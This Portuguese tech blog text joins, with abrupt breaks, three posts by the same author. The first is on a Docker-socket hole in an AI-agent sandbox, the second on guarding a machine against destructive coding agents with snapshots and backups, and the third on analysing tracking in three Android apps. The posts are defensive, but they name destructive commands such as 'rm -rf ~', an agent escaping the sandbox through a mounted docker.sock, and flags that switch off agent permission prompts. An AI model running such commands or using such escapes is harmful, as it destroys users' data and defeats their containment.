• A arquitetura certa. Daemonless e rootless desde o dia zero. A classe inteira de vulnerabilidade deste artigo perde o sentido.
• Compatibilidade de CLI. alias docker=podman cobre a maioria esmagadora dos comandos do dia a dia. Build, run, push, pull: mesmos comandos, mesmas flags.
• Integração com systemd. Os Quadlets são, na minha opinião, o jeito mais limpo de rodar container como serviço no Linux. O Docker nunca chegou perto disso.

E onde ele tropeça:

• O socket de compatibilidade não é 100%. O Podman oferece um socket compatível com a API do Docker (o podman.socket), e muita ferramenta funciona em cima dele. Mas “muita” não é “toda”: Testcontainers, alguns plugins de IDE, ferramentas de CI mais exóticas tropeçam em diferenças de comportamento. Funciona até o dia em que não funciona, e aí você perde uma tarde debugando.
• Compose é cidadão de segunda classe. O docker compose oficial até conversa com o socket do Podman, e existe o podman-compose, mas nenhum dos dois tem a mesma redondeza do par original. Projeto com compose complicado é onde a migração costuma enroscar.
• Rootless tem preço. A rede rootless (slirp4netns, e hoje o pasta) tem limitações: sem ping por padrão, IP de origem esquisito, throughput menor. Imagem que assume uid 0 e volume com permissão errada pedem ajuste. Nada grave, mas é atrito.
• Docker Desktop é um produto. No macOS e no Windows, o Docker Desktop entrega uma experiência polida que o Podman Desktop ainda está alcançando. Pra muita gente, esse é o único contato com containers que existe.

Somando tudo, você chega na resposta de por que o mundo continua no Docker: inércia de ecossistema. Todo tutorial, todo CI, toda imagem de exemplo, todo docker run colado de Stack Overflow assume o daemon root no caminho clássico. O Docker virou o nome da categoria, tipo Bombril. Migrar pro Podman é tecnicamente fácil e politicamente caro: é você contra o conhecimento acumulado da internet inteira.

Um detalhe que importa pra quem usa sandbox: montar o socket do Podman rootless dentro de uma jaula é bem menos catastrófico que montar o do Docker. O “daemon” equivalente roda como o seu usuário, então um agente mal-intencionado ganharia os seus privilégios, não root. Continua ruim (dá pra sobrescrever o seu ~/.ssh com eles, por exemplo), mas é outro campeonato. Mesmo assim, o default do ai-jail continua valendo: não montar socket nenhum, de runtime nenhum. Opt-in é opt-in.

Boas práticas pra isso não morder você

A lista que eu aplico e recomendo:

1. Trate o grupo docker como sudo sem senha. Antes de adicionar qualquer usuário ou serviço nele, pergunte se você daria sudo irrestrito pra aquilo. É a mesma coisa.
2. Nunca monte /var/run/docker.sock em ambientes não confiáveis. Agente de IA, job de CI que roda código de pull request de estranho, container de terceiro. Faça um grep -r docker.sock nos seus docker-compose, manifests de CI e configs de ferramentas. Aparece em mais lugares do que você lembra.
3. Precisou expor pra algo semiconfiável? Use um socket proxy. O wollomatic/socket-proxy e o docker-socket-proxy da Tecnativa ficam entre o cliente e o daemon com allowlist de endpoints e bloqueio de bind mounts arbitrários. Read-only por padrão, você liga só o que precisa.
4. Prefira rootless sempre que possível. Podman rootless no Linux é o caminho mais limpo; o rootless mode do próprio Docker é a segunda opção. O daemon deixa de ser root e essa classe inteira de problema perde a mordida.
5. Em CI, construa imagem sem daemon privilegiado. Kaniko e Buildah constroem imagens rootless, sem precisar montar socket nenhum no job.
6. Não conseguiu rootless? Ligue o userns-remap. Custa uma tarde de testes com seus volumes e compra isolamento real entre o root do container e o root do host.
7. No ai-jail, deixe o default trabalhar por você. Docker desligado, e --docker só nos projetos onde você confia no workload como confiaria num sudo. Regra prática: se você não daria sudo cego pro agente naquele diretório, também não dê --docker.

Conclusão

Uma sandbox bem construída perde boa parte do valor se tiver uma porta dos fundos aberta por conveniência. O bwrap, o Landlock, o seccomp e os rlimits do ai-jail continuam fazendo o trabalho deles, mas nenhum deles enxerga o que acontece quando o processo lá dentro pede gentilmente pro daemon root do host montar o filesystem inteiro num container. Camada de segurança que você não audita vira decoração.

Meu agradecimento público ao @mdindoffer: report limpo, repro mínima, severidade correta e ainda por cima proposta de solução. É assim que se reporta vulnerabilidade em projeto open source.

Se você quer o contexto completo de como eu uso sandbox no dia a dia, escrevi sobre isso em Como me precaver pros meus agentes não apagarem minhas coisas?. A história do ai-jail está em AI Agents: Garantindo a Proteção do seu Sistema e na reescrita em Rust.

Agora vai lá e roda o upgrade.

No dia seguinte o goodalexander reproduziu o mesmo comportamento num devnet descartável: um rsync --delete-delay contra / varreu /var, /etc e o estado dos validators dele, corrompendo o filesystem a ponto de precisar reinstalar o sistema operacional. A conclusão dele: “you can’t use this thing in prod”.

Casos assim aparecem de tempos em tempos desde que agentes de coding viraram mainstream. E toda vez a discussão descamba pros mesmos dois extremos: de um lado “viu? IA é perigosa, nunca deixe rodar nada sozinha”, do outro “quem deixa um agente solto no sistema merece o que acontece”. Eu acho os dois lados preguiçosos. Deixa eu contar minha experiência real e o que eu faço a respeito.

Cinco meses de maratona, zero acidentes

Desde fevereiro eu estou maratonando Claude Code, Codex e OpenCode. Quase todos os dias, quase o tempo todo, em sessões muito longas que às vezes atravessam dias. Estourando o limite do meu plano Max da Anthropic e do meu plano Plus da OpenAI com folga. O resultado concreto até agora: quase 40 repositórios novos no meu GitHub e mais de 500 mil linhas de código produzidas.

E nos últimos dois meses eu rodo tudo exclusivamente em “YOLO mode”. Pra quem não conhece o jargão: por padrão, esses agentes pedem permissão antes de cada comando que vão executar no seu terminal. O YOLO mode desliga essa trava. No Claude Code é a flag --dangerously-skip-permissions, no Codex é o --yolo, no OpenCode você configura as permissões pra aprovar tudo. O agente roda o que quiser, quando quiser, sem me perguntar nada.

Em cinco meses nesse regime, nem uma vez um agente apagou um arquivo que eu não pedi. Nem uma vez rodou um comando destrutivo fora do escopo. As frustrações que eu tenho com agentes são de outra natureza (teimosia, solução preguiçosa, contexto que se perde), coisas irritantes mas a quilômetros de distância de um rm -rf no meu home.

Então quando eu vejo esses relatos, minha primeira hipótese sempre vai pro mesmo lugar: o prompt. Pra um agente “enlouquecer” desse jeito, em geral o usuário escreveu instruções muito ruins. Vagas, ambíguas, pedindo limpeza sem definir o que é lixo, mandando o agente “resolver” sem dar contexto. Falta de habilidade de comunicação combinada com falta de conhecimento técnico pra perceber que o pedido estava mal formulado. O agente executa a instrução que você escreveu, com todas as ambiguidades que você deixou nela.

Dito isso, eu NÃO confio completamente em LLMs. Ninguém deveria.

A diferença é que a minha desconfiança vira engenharia em vez de virar tweet.

Camada por camada, é assim que eu durmo tranquilo.

Camada 1: sandbox com ai-jail

Quando eu realmente suspeito que uma sessão pode fazer besteira (vou mexer em scripts de sistema, vou deixar o agente rodar por horas sem supervisão num código que toca no filesystem), eu abro o harness dentro do ai-jail, uma ferramenta minha, open source, escrita em Rust.

O ai-jail é um wrapper de sandbox pra agentes de coding. No Linux ele usa o bwrap (bubblewrap, a mesma base do Flatpak), no macOS usa o sandbox-exec. A ideia: o processo enxerga um filesystem que parece normal, mas só o diretório do projeto atual é real e persistente. O resto do $HOME, os diretórios vizinhos, o /tmp, tudo vive em tmpfs e evapora quando a sessão termina. O estado do agente (~/.claude, ~/.codex etc) é montado de verdade pra ele continuar logado e configurado, mas ~/.ssh, ~/.gnupg, ~/.aws e perfis de browser nunca entram na jaula.

Instalar é um comando:

# Arch Linux
yay -S ai-jail-bin

# macOS / Linux via Homebrew
brew tap akitaonrails/tap && brew install ai-jail

# ou direto do crates.io
cargo install ai-jail

E usar é mais simples ainda:

cd ~/Projects/meu-app
ai-jail claude       # Claude Code na jaula
ai-jail codex        # Codex na jaula
ai-jail --dry-run claude  # mostra a política sem rodar

Se o agente resolver rodar rm -rf ~ lá dentro, ele apaga um tmpfs que ia sumir de qualquer jeito. Meu home real nem foi montado. Pra quem está começando com YOLO mode e ainda não tem calo, é o jeito mais barato de errar sem consequência.

Camada 2: BTRFS e snapshots (a rede de segurança de verdade)

Agora o ponto principal desse post. Eu advogo há ANOS que usuário de Linux deveria usar BTRFS em vez de EXT4. Fiz um episódio inteiro do Akitando sobre isso em 2023, muito antes de existir agente de coding pra levar a culpa. O argumento era o mesmo: seus dados precisam sobreviver a erro humano. Um LLM rodando rm -rf no lugar errado é só uma categoria nova de erro humano, terceirizado.

Por que BTRFS é superior pra desktop? Copy-on-write (CoW): o filesystem nunca sobrescreve um bloco no lugar, ele escreve a versão nova em outro bloco e atualiza os ponteiros. Checksum de dados e metadados, então bitrot silencioso é detectado em vez de corromper seu arquivo caladinho. Compressão transparente. Subvolumes, que funcionam como partições flexíveis sem tamanho fixo. E a consequência mais valiosa do CoW: snapshots leves.

Um snapshot BTRFS é instantâneo e custa perto de zero espaço no momento em que é criado. Ele congela os ponteiros dos blocos atuais em vez de copiar dados. Só o que divergir a partir dali (blocos novos ou modificados) passa a ocupar espaço extra. Na prática você pode tirar dezenas de snapshots por dia sem sentir. Neste exato momento minha máquina mantém 23 snapshots do sistema, e o custo é a diferença entre eles, alguns poucos gigas.

Agendando snapshots

As duas ferramentas clássicas são o Timeshift e o snapper. O Timeshift é o mais amigável: interface gráfica, você marca “quantos snapshots manter” por hora/dia/semana/mês e ele cuida do resto. Ele espera o layout de subvolumes @ (raiz) e @home, que é o padrão da maioria das distros que instalam em BTRFS hoje. O snapper (nascido no openSUSE) é mais granular: configs por subvolume, timeline automática, integração com o gerenciador de pacotes pra tirar snapshot antes e depois de cada instalação.

# Timeshift: snapshot manual antes de uma sessão suspeita
sudo timeshift --create --comments "antes de soltar o agente"

# snapper: criar config pro /home e ligar a timeline
sudo snapper -c home create-config /home
sudo systemctl enable --now snapper-timeline.timer

Meu setup roda Timeshift agendado, mais o grub-btrfsd de plantão (já explico por quê).

Recuperando arquivos apagados

Aqui está a mágica que todo mundo que perdeu arquivo pra um agente gostaria de ter tido. Snapshot BTRFS é navegável como um diretório comum. O agente apagou seu projeto às 15h? O snapshot das 14h ainda tem tudo:

# com Timeshift, os snapshots ficam montados em /run/timeshift
sudo ls /run/timeshift/backup/timeshift-btrfs/snapshots/

# achou o snapshot de antes do estrago? copia de volta e pronto
sudo cp -a /run/timeshift/backup/timeshift-btrfs/snapshots/2026-07-11_14-00-01/@home/akitaonrails/Projects/meu-app ~/Projects/

Com snapper é a mesma coisa via .snapshots dentro do subvolume, e ele ainda tem o snapper undochange pra reverter mudanças específicas entre dois snapshots. Recuperação em segundos, sem drama, sem ferramenta forense.

E se o sistema nem ligar mais?

O caso do goodalexander foi além de perder arquivos: o agente varreu /var e /etc e o sistema ficou imprestável, precisou reinstalar o OS. Com BTRFS nem isso seria necessário. É pra esse cenário que existe o grub-btrfs: um daemon que observa seus snapshots e regenera o menu do GRUB com uma entrada de boot pra cada um.

Sistema não sobe mais? Reinicia, segura o menu do GRUB, escolhe “snapshots” e dá boot direto num snapshot de ontem, read-only. De dentro dele, roda timeshift --restore, escolhe o snapshot bom, reinicia de novo. Sistema inteiro de volta ao estado de antes do desastre, em menos tempo do que você levaria pra achar o pendrive de instalação. No pior caso absoluto (o próprio GRUB foi junto), um live USB qualquer monta a partição BTRFS, aponta o subvolume padrão de volta pro snapshot bom e resolve.

E no macOS? E no Windows?

Usuário de Mac tem o equivalente direto: o APFS, filesystem padrão desde o High Sierra (2017), também é copy-on-write e também tem snapshots leves. Quem gerencia é o Time Machine: com ele ativado, o macOS tira snapshots locais automáticos de hora em hora e guarda as últimas 24 horas no próprio disco, independente do backup externo. E dá pra criar um na mão antes de soltar o agente:

# criar um snapshot local do APFS agora
tmutil localsnapshot

# listar os snapshots existentes
tmutil listlocalsnapshots /

Pra recuperar, abre o próprio Time Machine (“Browse Time Machine Backups” na barra de menu): ele navega pelos snapshots locais mesmo sem nenhum disco externo plugado, e você restaura o arquivo dali. Quem prefere terminal monta o snapshot read-only com mount_apfs -s e copia de volta. Ou seja, o caso do Matt Shumer lá do começo tinha solução nativa no próprio Mac dele: um snapshot de uma hora antes teria devolvido quase tudo.

No Windows a história é mais fraca. O NTFS tem o Volume Shadow Copy (VSS), que alimenta os restore points e a aba “Versões Anteriores”, mas é voltado pra arquivos de sistema e raramente está cobrindo seus dados na hora que você precisa. Nada com a leveza e a previsibilidade de um snapshot CoW agendado. Se você desenvolve no Windows, trate backup externo como obrigatório, sem discussão (e o restic da próxima seção roda em Windows numa boa).

Camada 3: backup externo com restic

Snapshot mora no mesmo disco que os dados. Se o NVMe morrer, morrem os dois juntos. Por isso a outra coisa que eu repito há anos: todo mundo precisa de backup externo, seja num HD externo, seja num NAS. Eu uso um Synology na rede local, montado via NFS, e documentei o setup completo aqui.

Em cima dele roda o restic, que na minha opinião é a melhor ferramenta de backup pra essa finalidade: deduplicação, criptografia, snapshots incrementais e restore simples. Minha configuração real é um script disparado por um timer do systemd todo dia às 3 da manhã. Ele confere se o NAS está montado, faz o backup do /home e do /mnt/data/Projects pulando caches (node_modules, target/ do Rust, __pycache__ e afins, tudo num arquivo de excludes), e depois aplica a política de retenção: 7 diários, 4 semanais, 6 mensais, 1 anual.

Reproduzir o essencial é isso aqui:

# uma vez: criar o repositório no NAS
restic init --repo /mnt/nas/desktop-backup

# todo dia (via cron ou systemd timer):
restic -r /mnt/nas/desktop-backup backup ~ /mnt/data/Projects \
    --exclude-file=~/.config/restic/excludes --exclude-caches

restic -r /mnt/nas/desktop-backup forget \
    --keep-daily 7 --keep-weekly 4 --keep-monthly 6 --keep-yearly 1 --prune

E se o dia ruim chegar de verdade (agente destrutivo, disco morto, ransomware, tanto faz a causa):

# listar os snapshots disponíveis
restic -r /mnt/nas/desktop-backup snapshots

# restaurar um arquivo ou diretório específico
restic -r /mnt/nas/desktop-backup restore latest \
    --target /tmp/recuperado --include /home/akitaonrails/Projects/meu-app

# ou montar o repositório inteiro como filesystem e navegar com calma
restic -r /mnt/nas/desktop-backup mount /mnt/restic

Repara na arquitetura em camadas: o snapshot BTRFS resolve o acidente de minutos atrás em segundos. O restic resolve o desastre de dias atrás, incluindo hardware morto. Um agente de IA teria que ser muito dedicado pra atravessar as duas camadas, e mesmo assim ainda existiria a cópia de ontem no NAS, que ele nem alcança.

E nas empresas? Profissionalismo

Tudo acima é sobre a minha máquina pessoal. Agora sobe o sarrafo: ambiente corporativo.

A regra número um é simples e inegociável: nenhum agente de IA deve ter acesso a produção. Nunca. Nem SSH direto em servidor de produção, nem credencial de banco de produção, nem token de admin de serviço em produção. Se o seu agente consegue rodar um DELETE na base que atende clientes, o problema deixou de ser a IA faz tempo: qualquer estagiário com o mesmo acesso é a mesma bomba-relógio, só com menos velocidade de digitação.

Agente em staging, por outro lado, eu defendo. É pra isso que staging existe. Mas mesmo em staging tem jeito certo: você resiste à tentação de pedir ações one-shot (“roda um apt install aí”, “dá um systemctl restart”, “conecta no postgres e executa isso”). Comando avulso executado na mão é conhecimento que evapora. Sua infraestrutura precisa ser automatizada e reproduzível: Ansible, Kubernetes, Terraform, o que fizer sentido pro seu stack. O papel do agente passa a ser escrever e refinar essas receitas, que ficam versionadas em git.

Um exemplo pequeno, aqui da minha mesa

Eu tenho um ambiente de jogos no meu PC principal, mas eu me recuso a misturar pacote de emulador com meu ambiente de desenvolvimento. Então isolei os jogos dentro de um distrobox. Pra quem não conhece: o distrobox cria containers (via podman ou docker) que se integram com seu desktop como se fossem nativos. Compartilham seu home (ou um home dedicado), acesso a GPU, Wayland, áudio. Na prática é uma distro completa dentro da sua distro, com espaço de pacotes separado.

O distrobox-gaming é um repositório de playbooks Ansible que constrói uma box Arch chamada gaming do zero: ES-DE de frontend, emuladores standalone (shadPS4, RPCS3, PCSX2, Dolphin, DuckStation, Eden e mais uma dúzia), cores do RetroArch, configs otimizadas por jogo, atalhos no launcher do host. E o distrobox-llm faz o mesmo pra uma box de trabalho com LLMs locais: CUDA, cuDNN, Ollama, whisper.cpp e LM Studio isolados numa box com --nvidia, enquanto o host só carrega o driver. Upgrade de versão maior do CUDA deixa de chacoalhar meu ambiente de desenvolvimento.

Quem escreveu a esmagadora maioria desses playbooks? Os agentes. Em vez de pedir “instala o RPCS3 pra mim”, meu prompt é “escreve a receita Ansible idempotente que instala e configura o RPCS3, roda ela, verifica o resultado e corrige até passar”. Olha um trecho real do role que cria a box do LLM:

- name: Check if distrobox exists
  ansible.builtin.shell: "distrobox list 2>/dev/null | awk '{print $3}' | grep -qx {{ dl_box_name }}"
  register: _box_exists
  changed_when: false
  failed_when: false

- name: Create distrobox
  ansible.builtin.command: >-
    distrobox create
    --name {{ dl_box_name }}
    --image {{ dl_image }}
    --home {{ dl_box_home }}
    {{ '--nvidia' if dl_nvidia_enabled else '' }}
  when: _box_exists.rc != 0

Idempotente: confere se a box existe antes de criar, rodar duas vezes dá no mesmo. Se meu PC pegar fogo amanhã, eu recrio os dois ambientes inteiros com um ansible-playbook site.yml em cada repo. O conhecimento está na receita, versionado, auditável. Zero comando perdido no histórico do shell.

Escalando o mesmo princípio pra produção

Numa empresa, troca distrobox por Kubernetes e o princípio é idêntico. O agente escreve o manifesto, testa no cluster de staging, você promove pra produção manualmente:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: minha-api
spec:
  replicas: 3
  selector:
    matchLabels:
      app: minha-api
  template:
    metadata:
      labels:
        app: minha-api
    spec:
      containers:
        - name: minha-api
          image: registry.exemplo.com/minha-api:v42
          readinessProbe:
            httpGet:
              path: /healthz
              port: 8080
          resources:
            limits:
              memory: 512Mi

O fluxo profissional: o agente produz e ajusta o manifesto (ou o chart do Helm, ou o módulo do Terraform), aplica em staging (kubectl apply -n staging), roda os testes, observa efeitos colaterais, bugs, comportamento não intencional, e itera até você estar satisfeito. Aí VOCÊ, humano, promove pra produção (via PR revisado num fluxo GitOps, ou um kubectl apply manual e consciente), monitorando cada passo. O agente fez todo o trabalho pesado: os artefatos, os procedimentos, os checklists. Dá até pra pedir pra ele gerar a documentação de auditoria no final. Mas o dedo que aperta o botão de produção tem CPF.

Até o SQL “simples” de manutenção

Um caso que parece inofensivo e me incomoda muito: comando SQL de manutenção em produção. Muita gente sempre rodou esses comandos na mão, direto no client de produção, e agora está pedindo pro agente escrever E executar. Isso é inaceitável, com ou sem IA. Seu sistema deve ter um fluxo de migrations: a mudança vira código versionado, roda em staging primeiro, é validada, e só então executa em produção dentro do processo normal de deploy.

E “produção”, por definição, significa duas coisas que muita empresa finge ter. Primeiro: backups de verdade, testados, com restore ensaiado.

Jamais rode em produção qualquer coisa da qual você não consegue se recuperar.

Segundo: monitoramento. Se você não tem visibilidade do estado do sistema, você não tem produção, tem um servidor ligado na tomada e reza.

Monitoramento: até no meu humilde PC

E monitoramento é tão parte da disciplina que eu aplico até na minha máquina pessoal. Recentemente eu desenvolvi um widget de system health pro meu clock-tui (meu fork mantido do clock-tui original, com widgets de comando no modo relógio). Ele fica aberto num canto mostrando isso aqui:

Uma linha de veredito (“all systems healthy”) e o estado de tudo que este post descreveu: o backup do restic rodou há 19 horas e o próximo é às 03:03; o Timeshift mantém 23 snapshots; a limpeza de caches de desenvolvimento rodou há 32 horas; o scrub do BTRFS está em dia em cada filesystem, com trim recente, alocação saudável e zero erros de I/O; mais zumbis, load, memória e ocupação de cada disco. O widget (tclock-system-health) vem junto no repositório e no pacote do AUR, e detecta a maior parte disso sozinho.

Por trás dele estão as manutenções automatizadas, todas em timers do systemd: o restic diário às 3h; o dev-cache-clean (dia 1 e dia 15) varrendo target/ órfãos de Rust e cache do yay, que juntos devolvem dezenas de gigas; o btrfs-scrub mensal por filesystem validando checksums; o fstrim semanal. Nada disso exige que eu lembre de nada. Quando algum atrasar ou falhar, o widget muda de cor na minha cara.

Esse é o nível caseiro, proporcional a um PC pessoal. Numa empresa você vai de full-blown: Prometheus coletando métricas, Grafana desenhando os dashboards, Alertmanager acordando o plantonista às 3 da manhã. A escala muda, o princípio é o mesmo: o estado do sistema visível o tempo todo, e alguém (ou alguma coisa) sendo avisado quando sai do trilho.

Conclusão: disciplina

Volta nos dois tweets do começo. Em ambos os casos, um único comando errado causou perda real, e a discussão pública virou “em quem eu confio mais”. A pergunta certa é outra: por que um único comando errado, de qualquer origem, tem o poder de causar perda irrecuperável na sua máquina?

Ser profissional é ser disciplinado, e a disciplina começa em casa. Meu PC pessoal opera com o mesmo rigor que eu cobraria de um ambiente corporativo: filesystem com snapshots leves e agendados, boot recuperável via GRUB, backup externo diário com política de retenção, sandbox pra sessões suspeitas, ambientes isolados e reconstruíveis por receitas versionadas, manutenção automatizada e um monitor que me avisa quando qualquer peça atrasa. Custo de manutenção mensal disso tudo: perto de zero. Foi montado uma vez (em boa parte pelos próprios agentes) e funciona sozinho.

Com essas camadas, a pergunta do título quase perde o sentido. O agente apagou um diretório? Snapshot de uma hora atrás, dois minutos de recuperação. Destruiu o sistema? Boot num snapshot pelo GRUB, restore, dez minutos. Fritou o disco junto? Restic no NAS, backup de ontem. Em cinco meses de YOLO mode eu nunca precisei de nenhuma dessas redes pra acidente de IA. Mas eu durmo tranquilo justamente porque elas estão lá.

LLM rodando solto no seu sistema é só o teste de estresse mais recente da sua disciplina. Se um agente descontrolado consegue causar perda permanente nos seus dados, a vulnerabilidade sempre esteve aí, esperando um erro seu, um disco ruim ou um ransomware. O agente foi só o mensageiro que chegou primeiro.

E tem mais camadas de incerteza. Os APKs vieram do APKPure, não da Play Store oficial, então existe a possibilidade (pequena, mas existe) de terem sido adulterados no caminho. E mesmo depois de descompilar, sobra um monte de biblioteca binária e SDK que a gente não abriu, assumindo que são libs comuns tipo Google Firebase ou Google Play Services. Esse mini-projeto foi, no fundo, curiosidade minha: eu queria saber o que tem dentro desses apps que a gente instala sem pensar.

Descompilar Android é fácil demais

Uma coisa que muita gente não sabe: app Android é fácil demais de descompilar. O APK é basicamente um zip. Você descompacta, roda uma ferramenta como o jadx nos arquivos .dex, e sai Java legível do outro lado. Se o app é Flutter, dá pra reconstruir o Dart com o Blutter. Se é um jogo Cocos2d-x, muitas vezes os scripts Lua estão ali em texto puro, sem nem precisar descriptografar.

Isso não te deixa recompilar o app a partir do fonte (os nomes de classe e método vêm embaralhados pela ofuscação, faltam recursos, faltam as chaves de assinatura). Mas pra análise estática é mais que suficiente: dá pra ler os endpoints que o app contata, as permissões que ele pede, os identificadores que ele monta, os SDKs que ele embute. É exatamente esse tipo de leitura que eu pedi pro Fable 5 fazer.

Um limite honesto: a parte mais sensível costuma estar em código nativo (.so), C/C++ compilado, que não descompila em nada legível. No caso do TikTok, é justamente aí que mora o miolo, e volto nisso já já.

“Se é de graça, você é o produto”

Você já ouviu essa frase mil vezes. Ela é verdadeira, mas quase sempre fica no abstrato. Vamos concretizar: como exatamente você vira o produto? A resposta tem um nome técnico, e é o motivo de eu ter escolhido esse tema pro título: fingerprint.

Fingerprint (impressão digital do dispositivo) é um identificador persistente que a plataforma monta juntando dezenas de sinais do seu aparelho: modelo do celular, versão do sistema, resolução de tela, CPU, RAM, operadora, fuso horário, idioma, bateria, fontes instaladas, redes Wi-Fi e Bluetooth por perto, sensores de movimento, e por aí vai. Nenhum desses dados sozinho te identifica. Mas a combinação deles é tão específica que vira praticamente único, um “número de série” implícito do seu dispositivo que você nunca autorizou explicitamente.

O pulo do gato, e o motivo pelo qual isso é tão valioso, é a persistência. Um cookie você limpa. O identificador de anúncio você reseta. Mas um fingerprint bem montado sobrevive a você limpar os dados do app, sobrevive a reinstalar, às vezes sobrevive até a resetar o aparelho. Ele re-identifica você como a mesma pessoa depois de qualquer tentativa de recomeçar do zero. É por isso que as empresas querem tanto: com o fingerprint, elas cruzam seu comportamento entre apps, entre sessões, entre reinstalações, e montam um perfil que segue você mesmo quando você acha que apagou seus rastros. Esse perfil é o produto da tal frase. E o produto é você.

Os três apps que analisei mostram três pontos bem diferentes desse espectro, e é aí que a coisa fica interessante.

Os três apps

TikTok: coleta grau industrial, blindada contra auditoria

O tiktok_analysis foi o mais denso. Versão 46.0.1, 37 arquivos dex, 204 bibliotecas nativas. A conclusão honesta, e que eu acho a mais justa: não é malware disfarçado, mas é coleta grau industrial projetada pra ser difícil de auditar.

Do lado tranquilizador: nenhum servidor secreto. Todo host que o app contata é da TikTok/ByteDance ou de um fornecedor de anúncio/analytics nomeado (Adjust, AppsFlyer, Facebook, Google, ThreatMetrix, Amazon). Não achamos coleta de IMEI nem de MAC, não tem QUERY_ALL_PACKAGES, não lê SMS nem registro de chamadas. Dados de usuários dos EUA e da UE vão pra enclaves dedicados (o famoso Project Texas com a Oracle em Ashburn).

Do lado preocupante: ele coleta muito. Fingerprint persistente do dispositivo, localização precisa, varredura de Wi-Fi e Bluetooth, upload de contatos (se você habilitar “encontrar amigos”), sensores de movimento, e uma checagem contra uma lista fixa de 91 apps nomeados pra ver quais você tem instalado (concorrentes, PayPal, Venmo, Spotify, apps irmãos da ByteDance). Seu ID de anúncio se espalha pra uns 6 terceiros.

E o achado central: o fingerprint e boa parte da telemetria são montados em código nativo (a libmetasec_ov.so e uma pilha de libs de cripto), com a assinatura de cada requisição saindo encriptada. Ou seja, mesmo descompilando o app inteiro, não dá pra saber exatamente quais bytes saem do aparelho.

Pra atacar justamente essa caixa-preta, uma das análises passou um strings nas 204 bibliotecas nativas (o relatório 13 do repo), e aí a libmetasec_ov.so entrega o jogo em texto puro. Dá pra ler os campos que ela coleta (secdeviceid, device_id, nível e estado da bateria, tamanho da tela), a função que assina as requisições, os endpoints de telemetria da ByteDance cravados no binário, e até o agendador que dispara o envio num timer. O que a camada Java só deixava inferir, o nativo confirma. É uma máquina de fingerprint, sem tirar nem pôr.

E a mesma varredura foi atrás justamente do que todo mundo tem medo de achar (keylogger, gravador de tela, injeção de input) e não achou nada disso. Os hits assustadores de palavra-chave eram falsos amigos: keylog era o log de debug do TLS, screenshot era o player de vídeo e a autenticidade de conteúdo C2PA, getevent era nome de método de mídia. Tem anti-debug e detecção de frida/xposed, sim, mas é o app se inspecionando por dentro, coisa normal de biblioteca de segurança, não bisbilhotando o resto do celular.

Então a opacidade continua sendo o ponto, só que mais afiada: a gente sabe o que a libmetasec_ov faz e pra onde ela reporta, e o que segue trancado são os bytes exatos do payload, que só disassembly do nativo ou captura ao vivo revelariam. “Não está provado que é spyware” e “coleta muito mais do que precisa, de forma opaca” seguem verdadeiras ao mesmo tempo, agora com a confirmação em texto puro de que o motor de fingerprint é real.

Clash of Kings: o jogo é honesto, a monetização é predatória

O clash_of_kings_analysis foi uma surpresa agradável no quesito privacidade. É um jogo de estratégia da chinesa Elex, engine Cocos2d-x com quase 12 mil scripts Lua em texto puro. E, olha só: sem GPS, sem câmera, sem microfone, sem contatos, sem SMS, sem IMEI. As duas leituras mais sensíveis que ele pode fazer (lista de apps instalados e MAC do Wi-Fi) são ambas condicionadas a consentimento. Nada de malware, nada de exfiltração escondida.

A preocupação de privacidade é o mesmo vilão do TikTok em versão mais simples: um UUID de dispositivo resistente a reset, gravado em quatro lugares diferentes (configurações do sistema, preferências, cartão SD e backup na nuvem) justamente pra sobreviver a uma reinstalação. Mais telemetria pra infra em região da China e pro Tencent Bugly.

Onde o Clash of Kings realmente pesa é na monetização. É o kit completo de free-to-play predatório: loot boxes (as “luck draws” de heróis), ofertas com contador regressivo pra criar FOMO, tiers VIP pay-to-win, escadas de gasto acumulado com ranking de quem gasta mais (a caça à “baleia”), cartão mensal, o pacote inteiro. O lado meio-copo-cheio: as probabilidades de drop são divulgadas no jogo, e existe o sistema chinês de anti-vício e nome-real pra menores. Privacidade decente, carteira em perigo.

Gov.br: o exemplo de como fazer direito (com uma ressalva)

O govbr_analysis é o contraponto, e me deixou até aliviado. É o app oficial de identidade digital do governo brasileiro, feito em Flutter (reconstruí o Dart com o Blutter). Pros padrões de um app de governo obrigatório, ele é bem construído e respeitoso com privacidade: o tráfego é quase todo pra *.gov.br, SERPRO e Dataprev, o TLS tem certificate pinning, as credenciais ficam no KeyStore criptografado do Android, a assinatura ICP-Brasil usa cripto grau FIPS, e o app se defende com força contra aparelho rooteado ou adulterado. E o mais importante: nenhum tracker comercial de anúncio. Nada de Segment, Adjust, AppsFlyer ou Meta.

As duas ressalvas honestas: ele embute o Google Firebase (Analytics, Crashlytics, Messaging, Remote Config) com coleta ligada por padrão e permissão de ad-id declarada, o que é o padrão preguiçoso de quase todo app hoje; e a sua selfie de prova de vida sobe pro backend do governo pra bater identidade, o que é inerente ao propósito e não vai pra terceiros. O item que só a captura de tráfego ao vivo resolveria é se o seu CPF vai anexado aos relatórios do Crashlytics. Mas no geral, se todo app fosse construído com esse cuidado, esse post nem existiria.

O que quase todo app carrega junto

Cruzando os três (e é aí que o padrão aparece), dá pra ver o que costuma vir embutido no app que você baixa, mesmo num app de governo:

• Google Firebase / Play Services: presente nos três. Analytics, Crashlytics (relatório de erro), Cloud Messaging (push), Remote Config. É tão onipresente que virou infraestrutura invisível. E vem com coleta ligada por padrão.
• Stack de atribuição de anúncio: Adjust, AppsFlyer, Branch.io, Singular, Facebook SDK. A função é ligar “você clicou nesse anúncio” a “você instalou e usou o app”. No TikTok tinha um empilhamento redundante: cinco desses ao mesmo tempo, cada um coletando seu ad-id de forma independente.
• Redes de anúncio: AdMob/DoubleClick do Google, e no caso dos jogos o ecossistema de mediação de ads.
• Analytics/crash de origem regional: o Tencent Bugly no Clash of Kings é o exemplo, telemetria indo pra infra chinesa.
• Um serviço especializado de fingerprint/antifraude: o caso mais chamativo foi o ThreatMetrix da LexisNexis no TikTok: uma empresa cujo negócio é montar impressão digital de dispositivo pra detecção de fraude. Legítimo no uso antifraude, mas é literalmente uma máquina de fingerprint como serviço, embutida.

O recado é que aquele “produto” não é montado por uma empresa só. São cinco, seis, sete parceiros, cada um pegando um pedaço, e o fingerprint costurando tudo de volta num perfil só. Ninguém está te espionando sozinho. É um mutirão.

O que dá pra fazer

Você não vai zerar isso sem sair da internet, mas dá pra reduzir bastante a superfície exposta:

• Não consinta o que não precisa. GPS é o maior. Um app de vídeo não precisa da sua localização precisa pra funcionar. Negue, ou libere só “enquanto usa o app”. O mesmo vale pra contatos, microfone e câmera: só libere quando o recurso que você quer usar naquele momento exige.
